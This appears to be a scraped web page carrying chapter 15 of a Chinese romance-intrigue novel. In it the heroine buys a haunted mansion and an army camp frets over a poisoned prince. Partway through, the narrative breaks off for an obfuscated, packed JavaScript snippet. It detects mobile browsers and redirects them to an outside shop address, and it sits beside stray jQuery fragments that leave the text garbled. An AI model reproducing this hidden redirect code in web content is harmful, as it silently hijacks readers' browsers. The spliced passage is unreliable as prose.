15. 第15章 潜入

作品:《王妃的求生日常

    门外看客见没什么可看的了,便散了去干自个儿的事。


    “回神了。”边月提醒还在发愣的伙计。


    那伙计如梦初醒,捏了把汗,赔笑应道:“姑娘这边请。”


    秋绥贴着耳边:“小姐刚刚可吓死我们了。”


    边月笑着往秋绥腮上一拧:“你家小姐几时做过没有把握的事情?”


    秋绥嗔她一眼。


    到了案前,伙计拿好笔墨纸砚和专用的契纸呈于掌柜面前。


    “姑娘当真要买下此宅?”掌柜忍不住再问一句,毕竟这凶宅在行里压了十年,没人愿意触这个晦气,故而送都送不出去。


    边月点头。


    掌柜的见她铁了心,也不多劝:“姑娘爽快,那我也给个实诚价,这宅子名声不好听,但胜在宅子大、地段好,一口价一千五百俩纹银。”


    若非当年那桩惨案,这般宅邸少说也要五千两起步。


    边月知是公道价,示意秋绥取银票。


    掌柜亲自执笔:“立卖契人顺安牙行,今售石桥巷深宅一所……”在中保人一栏签上名讳,又盖好顺安牙行的红印。


    “姑娘,请画押。”


    边月沾了红泥,在契书末尾按下手印。


    掌柜吹干墨迹,将白契奉上:“姑娘,这是白契,您且收好。稍后我们会派人去衙门投税,过几日换了官府盖印的红契,再送到府上。这宅门的钥匙,共计五把。”


    冬禧接过钥匙,入手冰凉。


    正欲离开,瞥见那张裂开的桌子,对掌柜笑道:


    “对了,买宅子的钱我付了,这桌子记得把账单送到镇北侯府,就说是……他刚认的姐姐,送他的见面礼。”


    城东角,石桥巷。


    正如掌柜所说,是个地段极好的地儿,环境清幽,离城中近,又不受纷扰,只因久无人居住,显得有点阴冷荒凉。


    一到附近冬禧顿感朔风凛凛,侵肌裂骨,忍不住问道:“小姐,咱为什么要买这座宅子呀?”


    此处门巷倾颓,墙垣朽败,门匾的字迹已经看不大清了,门前还磊着许多碎石杂草,几乎封了去路。


    推开门,内里荒草凄凄,竹篱木壁上还残着被烟火熏黑的痕迹,枯井朽木一片腐败。


    “你们是何人?”


    三人齐向身后看去,是个约莫四十几的妇人,臂弯挽着竹篮,盖布下露出几沓祭祀用的黄裱纸。


    秋绥机灵,忙取出白契上前,应答道:“婶子,我们小姐刚盘下这座宅子,正过来瞧瞧呢。”


    妇人瞥见那白契,脸色稍缓:“竟还有人愿意买这宅子,这处荒废了十年,来点人气也是好的。”


    秋绥追问:“婶子这话是何意?”


    “这宅子啊,本来是京中有名的林大夫和温医官的府邸。这对夫妇心善,救人无数,也不知十年前得罪了何人,一夜之间……竟满门被灭。”妇人轻叹,眼神似有动容,“我受过他们大恩,也不知如何报答,只能每逢此时烧些纸钱,望他们在泉下过的轻快些。”


    边月霍然开口:“婶子可是住在附近?”


    “是,我家就在……”妇人这才抬眼注意到后边的少女,这一瞧,她整个人怔在原地。


    像。实在太像了。


    那眉眼,那神韵。


    “你是……你父母……”


    边月笑笑:“我自幼是孤儿,既然婶子住的近,以后我们便是邻居了,日后还要多走动走动。”


    妇人心存疑窦,却也不便再深究,每人都有自己的苦楚。


    不论怎样,她瞧着那张脸,眼神到底软了几分。


    “也是缘分。我家就在隔壁没多远,往后有什么缺的短的,尽管找我俞婶帮忙。”俞婶左右打量了一番,“这宅子荒废太久,光靠你们几个姑娘家哪里行?我这就唤我家那混小子过来帮忙拾掇拾掇。”


    俞婶刚走,浮生和云起就来了。


    “卿姐!”二人大步流星,肩头手上扛着大包小袋。


    “小姐,他们是……”秋绥看着两个俊逸无双的少年问道。


    边月言简意赅:“我朋友。”


    正说着,浮生卸了包裹,里边东西稀里哗啦倒了一地——镐子、锄头、破布……


    “卿姐,你要的东西备齐了。”云起也将肩上的东西卸下。


    边月笑眯眯点头:“很好,既然工具都齐了,这宅子的清扫重任,就交由你们了。”


    浮生刚拿起的锄头“哐当”一声又砸回脚边。


    他哭丧着脸,先是锤头顿足捶胸,后又哀嚎道:“卿姐,不带这样的!”


    早知道他就不跟别人抢着来了,本想着能在卿姐面前邀功呢。


    他们浩然正气盟共有护法四人,接到任务后,他和云起可是跟另外两个打了一番才抢来这个机会的。


    云起怒了,一记刀眼:就是你要来。


    浮生不甘示弱地瞪回去:那你怎么不拦着我?


    不多时,俞婶也匆匆赶至,身侧站着一位少年,肤色古铜,眉眼清正。


    甫一到门口,正对上少女含笑的眼眸,如星如月。


    四周的嘈杂骤然褪去了,只余耳边嗡嗡轰鸣。


    俞婶在一旁看着,焉能不知他的心思,喜忧参半。


    喜的是她这榆木脑袋的儿子终是开了窍,他长得端正,心肠又热,街邻四坊有不少女儿家中意他,可偏生他都不喜,今日倒是红了脸。


    只是,眼前这少女天人之姿,绝非池中物,自家傻小子这点心思,怕是注定要落空了。


    “俞大哥,劳烦你了。”少女音质如珠玉,十分动听。


    俞城结结巴巴:“是……好……我在!”


    说完俞城想给自己打一嘴巴子,哪有这般说话的!


    边月被他的反应逗笑了,只是还有要事在身,便先请辞离去了。


    是夜。


    没了乌云遮蔽,露出漫天星星,万千星辰如碎玉般撒落其间,汇成一道璀璨清冷的银河。


    中军大帐,灯火通明。


    “过了紫荆关,前头就是临安城了,景明怎么还没回来啊。”严方阳急得在帐篷里乱蹦,左走走,右走走,“这都几日了?如果景明真有什么三长两短……”


    秦意终于忍无可忍:“你消停些,你这晃的我头都晕了。”


    “我能不急吗?当时你就该拦着,怎能任由王爷拖着病体离开?你好歹还是他的表侄。”


    秦意无奈:“你随了我皇叔这么些年,何时见过有谁能阻止皇叔的决定吗?”两人虽只是名义上的叔侄,可他自幼养在军中,两人关系胜似亲叔侄,说不担心是假的。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991378|193723||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    严方阳语塞,帐内陷入死一般的沉寂。


    他透过缝隙看这那月色,一如那晚般明亮。


    男子面色苍白坐在床沿上,眉间鬓角都覆了白霜,整个人仿若从寒天冰水里捞出来一般。


    不,比这还刺骨可怖。


    军医跪在一旁,搭脉的手指止不住的颤动,“寒蚀……王爷中的是齐鲁秘毒寒蚀。”


    “寒蚀?”严方阳失声惊呼,“此毒凶险异常,齐鲁王室早就将其列为禁药,焚毁药方了,王爷怎会身中此毒?”


    军医又道:“此毒无色无味,若置于食物中,银针立即可验;唯有经鼻吸入,隐蔽难查,但这需要极大的剂量,且必须日夜熏染,方能种下毒根。”


    中军大帐守卫森严,能做到这一点的,唯有身边之人。


    只有一种可能,天策军出了内奸。


    “此毒……可有解法?”秦意轻声地问。


    军医叩首:“卑职无能,此毒只在古籍残卷中有过记载,因此只知其名,不知其解。”


    一直沉默的男子仰头看着天上,孤月高悬,清冷孤傲。


    “或许,她有办法。”


    严方阳急道:“谁?属下这就去将她找来给您治病。”


    “不必,我亲自前去,备马。”


    “王爷!您疯了?”严方阳滑跪拦在身前,“现在敌暗我明,连下毒之人是谁都不知道,一旦被人察觉此事,在您毒发时设伏。请王爷三思啊!”


    男人语气不容置疑:“我自有分寸。”


    秦意眉间轻蹙:“那是何人?她当真能解此毒?”


    男人目光不曾离开过那轮明月,或惊或喜、或忧或怖。


    这是他和秦意从未见过的。


    “她啊……”男人轻笑一声。


    “如果连她都不能解的毒,那么这世间便无人可解。”


    “大军行至紫荆关前,若我还未归来,便将我失踪的信息传遍临安。”


    如今眼看着要到临安了,却无只言片语。


    严方阳喉咙仿佛被灌了铅,涩得发疼:“秦意,万一,我是说万一,王爷真的……”


    “住口。”秦意立掌打断他话头,字字铿锵,“绝没有万一,他一定会回来的。”


    他怎么可能不回来?那可是天元的战神,是天策军不可或缺的脊梁骨。


    正说着,帐外传来两道声音。


    “校尉班绩,求见。”


    “校尉霍万,求见。”


    严方阳秦意对视一眼。


    “进。”


    两人一齐踏入账中。


    左侧那人名为班绩,眉目寡淡,长得无甚出奇。


    右侧那人名为霍万,生得一副好身板,腰圆背厚,面阔口方。


    “你们怎么来了?”严方阳问道,这二人皆是天策军中的得力校尉,年少有为。


    “属下们担心王爷,前方可有王爷的消息传回?”班绩问。


    严方阳摇头。


    霍万直肠子出了名的,直接操着大嗓门怒骂:“格老子的!要是让老子知道是谁害了王爷,老子定要他好看!”


    忽然,一名传令兵冲入帐内,抱拳跪地:


    “报——!启禀中郎将。营外抓获两名行踪诡秘的女子,行迹十分可疑,还请中郎将定夺!”